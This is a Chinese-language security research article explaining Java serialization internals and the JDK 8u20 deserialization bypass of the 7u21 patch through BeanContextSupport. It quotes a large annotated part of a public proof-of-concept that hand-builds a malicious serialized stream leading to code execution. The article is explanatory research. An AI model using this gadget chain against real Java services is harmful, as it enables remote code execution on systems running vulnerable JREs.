作者:天融信阿爾法實驗室
原文鏈接:https://mp.weixin.qq.com/s/TAjfHEJCvP-1yK2hUZlrbQ
一、前言
在JDK7u21中反序列化漏洞修補方式是在AnnotationInvocationHandler類對type屬性做了校驗,原來的payload就會執行失敗,在8u20中使用BeanContextSupport類對這個修補方式進行了繞過。
二、Java序列化過程及數據分析
在8u20的POC中需要直接操作序列化文件結構,需要對Java序列化數據寫入過程、數據結構和數據格式有所了解。
先看一段代碼
import java.io.Serializable;
public class B implements Serializable {
public String name = "jack";
public int age = 100;
public B() {
}
}
import java.io.*;
public class A extends B implements Serializable {
private static final long serialVersionUID = 1L;
public String name = "tom";
public int age = 50;
public A() {
}
public static void main(String[] args) throws IOException {
A a = new A();
serialize(a, "./a.ser");
}
public static void serialize(Object object, String file) throws IOException {
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(object);
out.flush();
out.close();
}
}
運行A類main方法會生成a.ser文件,以16進制的方式打開看下a.ser文件內容
0000000 ac ed 00 05 73 72 00 01 41 00 00 00 00 00 00 00
0000010 01 02 00 02 49 00 03 61 67 65 4c 00 04 6e 61 6d
0000020 65 74 00 12 4c 6a 61 76 61 2f 6c 61 6e 67 2f 53
0000030 74 72 69 6e 67 3b 78 72 00 01 42 bf 30 15 78 75
0000040 7d f1 2f 02 00 02 49 00 03 61 67 65 4c 00 04 6e
0000050 61 6d 65 71 00 7e 00 01 78 70 00 00 00 64 74 00
0000060 04 6a 61 63 6b 00 00 00 32 74 00 03 74 6f 6d
000006f
跟下ObjectOutputStream類,來一步步分析下這些代碼的含義
java.io.ObjectOutputStream#writeStreamHeader 寫入頭信息

java.io.ObjectStreamConstants 看下具體值

STREAM_MAGIC 16進制的aced固定值,是這個流的魔數寫入在文件的開始位置,可以理解成標識符,程序根據這幾個字節的內容就可以確定該文件的類型。
STREAM_VERSION 這個是流的版本號,當前版本號是5。
在看下out.writeObject(object)是怎么寫入數據的,會先解析class結構,然后判斷是否實現了Serializable接口,然后執行java.io.ObjectOutputStream#writeOrdinaryObject方法

1426行寫入TC_OBJECT,常量TC_OBJECT的值是(byte)0x73,1427行調用writeClassDesc方法,然后會調用到java.io.ObjectOutputStream#writeNonProxyDesc方法

TC_CLASSDESC的值是(byte)0x72,在調用java.io.ObjectStreamClass#writeNonProxy方法。

721行先寫入對象的類名,然后寫入serialVersionUID的值,看下java.io.ObjectStreamClass#getSerialVersionUID方法

默認使用對象的serialVersionUID值,如果對象serialVersionUID的值為空則會計算出一個serialVersionUID的值。
接著調用out.writeByte(flags)寫入classDescFlags,可以看見上面判斷了如果是實現了serializable則取常量SC_SERIALIZABLE 的0x02值。然后調用out.writeShort(fields.length)寫入成員的長度。在調用out.writeByte和out.writeUTF方法寫入屬性的類型和名稱。
然后調用bout.writeByte(TC_ENDBLOCKDATA)方法表示一個Java對象的描述結束。TC_ENDBLOCKDATA常量的值是(byte)0x78。在調用writeClassDesc(desc.getSuperDesc(), false)寫入父類的結構信息。
接著調用writeSerialData(obj, desc)寫入對象屬性的值,調用java.io.ObjectOutputStream#writeSerialData

可以看見slots變量的值是父類在前面,這里會先寫入的是父類的值。
java.io.ObjectOutputStream#defaultWriteFields

這里可以總結下,在序列化對象時,先序列化該對象類的信息和該類的成員屬性,再序列化父類的類信息和成員屬性,然后序列化對象數據信息時,先序列化父類的數據信息,再序列化子類的數據信息,兩部分數據生成的順序剛好相反。
分析Java序列化文件,使用SerializationDumper工具可以幫助我們理解,這里使用SerializationDumper查看這個序列化文件看下
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 1 - 0x00 01
Value - A - 0x41
serialVersionUID - 0x00 00 00 00 00 00 00 01
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 2 - 0x00 02
Fields
0:
Int - I - 0x49
fieldName
Length - 3 - 0x00 03
Value - age - 0x616765
1:
Object - L - 0x4c
fieldName
Length - 4 - 0x00 04
Value - name - 0x6e616d65
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 01
Length - 18 - 0x00 12
Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_CLASSDESC - 0x72
className
Length - 1 - 0x00 01
Value - B - 0x42
serialVersionUID - 0xbf 30 15 78 75 7d f1 2f
newHandle 0x00 7e 00 02
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 2 - 0x00 02
Fields
0:
Int - I - 0x49
fieldName
Length - 3 - 0x00 03
Value - age - 0x616765
1:
Object - L - 0x4c
fieldName
Length - 4 - 0x00 04
Value - name - 0x6e616d65
className1
TC_REFERENCE - 0x71
Handle - 8257537 - 0x00 7e 00 01
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 03
classdata
B
values
age
(int)100 - 0x00 00 00 64
name
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 04
Length - 4 - 0x00 04
Value - jack - 0x6a61636b
A
values
age
(int)50 - 0x00 00 00 32
name
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 05
Length - 3 - 0x00 03
Value - tom - 0x746f6d
三、漏洞分析及POC解讀
8u20是基于7u21的繞過,不熟悉7u21的可以先看這篇文章了解下,看下7u21漏洞的修補方式。
sun.reflect.annotation.AnnotationInvocationHandler#readObject
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
...
在AnnotationType.getInstance方法里對this.type類型有判斷,需要是annotation類型,原payload里面是Templates類型,所以這里會拋出錯誤。可以看到在readObject方法里面,是先執行var1.defaultReadObject()還原了對象,然后在進行驗證,不符合類型則拋出異常。漏洞作者找到java.beans.beancontext.BeanContextSupport類對這里進行了繞過。
看下BeanContextSupport類
private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
synchronized(BeanContext.globalHierarchyLock) {
ois.defaultReadObject();
initialize();
bcsPreDeserializationHook(ois);
if (serializable > 0 && this.equals(getBeanContextPeer()))
readChildren(ois);
deserialize(ois, bcmListeners = new ArrayList(1));
}
}
public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException {
int count = serializable;
while (count-- > 0) {
Object child = null;
BeanContextSupport.BCSChild bscc = null;
try {
child = ois.readObject();
bscc = (BeanContextSupport.BCSChild)ois.readObject();
} catch (IOException ioe) {
continue;
} catch (ClassNotFoundException cnfe) {
continue;
}
...
可以看到在readChildren方法中,在執行ois.readObject()時,這里try catch了,但是沒有把異常拋出來,程序會接著執行。如果這里可以把AnnotationInvocationHandler對象在BeanContextSupport類第二次writeObject的時候寫入AnnotationInvocationHandler對象,這樣反序列化時,即使AnnotationInvocationHandler對象 this.type的值為Templates類型也不會報錯。
反序列化還有兩點就是:
-
反序列化時類中沒有這個成員,依然會對這個成員進行反序列化操作,但是會拋棄掉這個成員。
-
每一個新的對象都會分配一個newHandle的值,newHandle生成規則是從0x7e0000開始遞增,如果后面出現相同的類型則會使用
TC_REFERENCE結構,引用前面handle的值。
下面直接來看pwntester師傅提供的poc吧
...
new Object[]{
STREAM_MAGIC, STREAM_VERSION, // stream headers
// (1) LinkedHashSet
TC_OBJECT,
TC_CLASSDESC,
LinkedHashSet.class.getName(),
-2851667679971038690L,
(byte) 2, // flags
(short) 0, // field count
TC_ENDBLOCKDATA,
TC_CLASSDESC, // super class
HashSet.class.getName(),
-5024744406713321676L,
(byte) 3, // flags
(short) 0, // field count
TC_ENDBLOCKDATA,
TC_NULL, // no superclass
// Block data that will be read by HashSet.readObject()
// Used to configure the HashSet (capacity, loadFactor, size and items)
TC_BLOCKDATA,
(byte) 12,
(short) 0,
(short) 16, // capacity
(short) 16192, (short) 0, (short) 0, // loadFactor
(short) 2, // size
// (2) First item in LinkedHashSet
templates, // TemplatesImpl instance with malicious bytecode
// (3) Second item in LinkedHashSet
// Templates Proxy with AIH handler
TC_OBJECT,
TC_PROXYCLASSDESC, // proxy declaration
1, // one interface
Templates.class.getName(), // the interface implemented by the proxy
TC_ENDBLOCKDATA,
TC_CLASSDESC,
Proxy.class.getName(), // java.lang.Proxy class desc
-2222568056686623797L, // serialVersionUID
SC_SERIALIZABLE, // flags
(short) 2, // field count
(byte) 'L', "dummy", TC_STRING, "Ljava/lang/Object;", // dummy non-existent field
(byte) 'L', "h", TC_STRING, "Ljava/lang/reflect/InvocationHandler;", // h field
TC_ENDBLOCKDATA,
TC_NULL, // no superclass
// (3) Field values
// value for the dummy field <--- BeanContextSupport.
// this field does not actually exist in the Proxy class, so after deserialization this object is ignored.
// (4) BeanContextSupport
TC_OBJECT,
TC_CLASSDESC,
BeanContextSupport.class.getName(),
-4879613978649577204L, // serialVersionUID
(byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
(short) 1, // field count
(byte) 'I', "serializable", // serializable field, number of serializable children
TC_ENDBLOCKDATA,
TC_CLASSDESC, // super class
BeanContextChildSupport.class.getName(),
6328947014421475877L,
SC_SERIALIZABLE,
(short) 1, // field count
(byte) 'L', "beanContextChildPeer", TC_STRING, "Ljava/beans/beancontext/BeanContextChild;",
TC_ENDBLOCKDATA,
TC_NULL, // no superclass
// (4) Field values
// beanContextChildPeer must point back to this BeanContextSupport for BeanContextSupport.readObject to go into BeanContextSupport.readChildren()
TC_REFERENCE, baseWireHandle + 12,
// serializable: one serializable child
1,
// now we add an extra object that is not declared, but that will be read/consumed by readObject
// BeanContextSupport.readObject calls readChildren because we said we had one serializable child but it is not in the byte array
// so the call to child = ois.readObject() will deserialize next object in the stream: the AnnotationInvocationHandler
// At this point we enter the readObject of the aih that will throw an exception after deserializing its default objects
// (5) AIH that will be deserialized as part of the BeanContextSupport
TC_OBJECT,
TC_CLASSDESC,
"sun.reflect.annotation.AnnotationInvocationHandler",
6182022883658399397L, // serialVersionUID
(byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
(short) 2, // field count
(byte) 'L', "type", TC_STRING, "Ljava/lang/Class;", // type field
(byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;", // memberValues field
TC_ENDBLOCKDATA,
TC_NULL, // no superclass
// (5) Field Values
Templates.class, // type field value
map, // memberValues field value
// note: at this point normally the BeanContextSupport.readChildren would try to read the
// BCSChild; but because the deserialization of the AnnotationInvocationHandler above throws,
// we skip past that one into the catch block, and continue out of readChildren
// the exception takes us out of readChildren and into BeanContextSupport.readObject
// where there is a call to deserialize(ois, bcmListeners = new ArrayList(1));
// Within deserialize() there is an int read (0) and then it will read as many obejcts (0)
TC_BLOCKDATA,
(byte) 4, // block length
0, // no BeanContextSupport.bcmListenes
TC_ENDBLOCKDATA,
// (6) value for the Proxy.h field
TC_REFERENCE, baseWireHandle + offset + 16, // refer back to the AnnotationInvocationHandler
TC_ENDBLOCKDATA,
};
...
這里直接構造序列化的文件結構和數據,可以看到注釋分為6個步驟:
-
構造LinkedHashSet的結構信息
-
寫入payload中TemplatesImpl對象
-
構造Templates Proxy的結構,這里定義了一個虛假的
dummy成員,虛假成員也會進行反序列化操作,雖然會拋棄掉這個成員,但是也會生成一個newHandle的值。 -
這里為了
BeanContextSupport對象反序列化時能走到readChildren方法那,需要設置serializable要>0并且父類beanContextChildPeer成員的值為當前對象。BeanContextChildSupport對象已經出現過了,這里直接進行TC_REFERENCE引用對應的Handle。 -
前面分析過在
readChildren方法中會再次進行ois.readObject(),這里把payload里面的AnnotationInvocationHandler對象寫入即可。這里try catch住了,并沒有拋出異常,雖然dummy是假屬性依然會進行反序列化操作,目的就是完成反序列化操作生成newHandle值,用于后面直接進行引用。 -
這里就是原
JDK7u21里面的payload,把AnnotationInvocationHandler對象引用至前面的handle地址即可。
四、總結
JDK7u21和8u20這兩個payload不依賴第三方的jar,只需要滿足版本的JRE即可進行攻擊,整條鏈也十分巧妙,在8u20中的幾個trick也讓我對Java序列化機制有了進一步的認識。
五、參考鏈接
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1232/
暫無評論